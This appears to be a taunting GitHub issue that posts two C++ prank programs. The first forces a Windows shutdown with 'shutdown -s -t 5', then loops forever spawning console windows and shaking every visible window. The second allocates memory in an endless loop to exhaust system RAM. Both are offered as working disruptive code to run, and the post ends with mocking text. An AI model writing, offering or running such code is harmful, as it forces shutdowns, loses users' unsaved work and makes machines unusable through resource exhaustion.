Open onion108 opened 3 years ago
using namespace std;
void StartShake()
{
system("shutdown -s -t 5");
srand((unsigned)time(NULL));
int sysX,sysY;
sysX=GetSystemMetrics(SM_CXSCREEN);
sysY=GetSystemMetrics(SM_CYSCREEN);
while(TRUE)
{
system("start");
HWND hWnd=GetDesktopWindow();
for(hWnd=GetWindow(hWnd,GW_CHILD);hWnd;hWnd=GetWindow(hWnd,GW_HWNDNEXT))
{
RECT rect;
long style=GetWindowLong(hWnd,GWL_STYLE);
if(style&WS_VISIBLE)
{
GetWindowRect(hWnd,&rect);
int posX,posY,cX,cY;
bool flag=!(rand()%2);
cX=rect.right-rect.left;
cY=rect.bottom-rect.top;
if(flag)
{
posX=rect.left+rand()%10*5;
posY=rect.top+rand()%10*5;
}
else
{
posX=rect.left-rand()%10*5;
posY=rect.top-rand()%10*5;
}
if(posX<0) posX=0;
if(posY<0) posY=0;
if(posX+cX>sysX)
posX=sysX-cX;
if(posY+cY>sysY)
posY=sysY-cY;
SetWindowPos(hWnd,HWND_NOTOPMOST,posX,posY,rect.right-rect.left,
rect.bottom-rect.top,SWP_SHOWWINDOW | SWP_NOSIZE | SWP_NOACTIVATE );
}
}
}
} int main(){ while(true)StartShake(); return 0; }
Would you like to try this:
#include <vector>
int main(int argc, char** argv) {
std::vector<std::vector<int *> > a;
for(int j = 0;;j++) {
a.push_back(std::vector<int *>(200));
for(int i = 0; i < a[j].size(); i++) {
a[j][i] = new int();
}
}
return 0;
}
Could you understand C++ 11?
Practice to close it!
(HAHA! YOU CAN'T DEFEAT ME!!! YOU IDIOT!!!)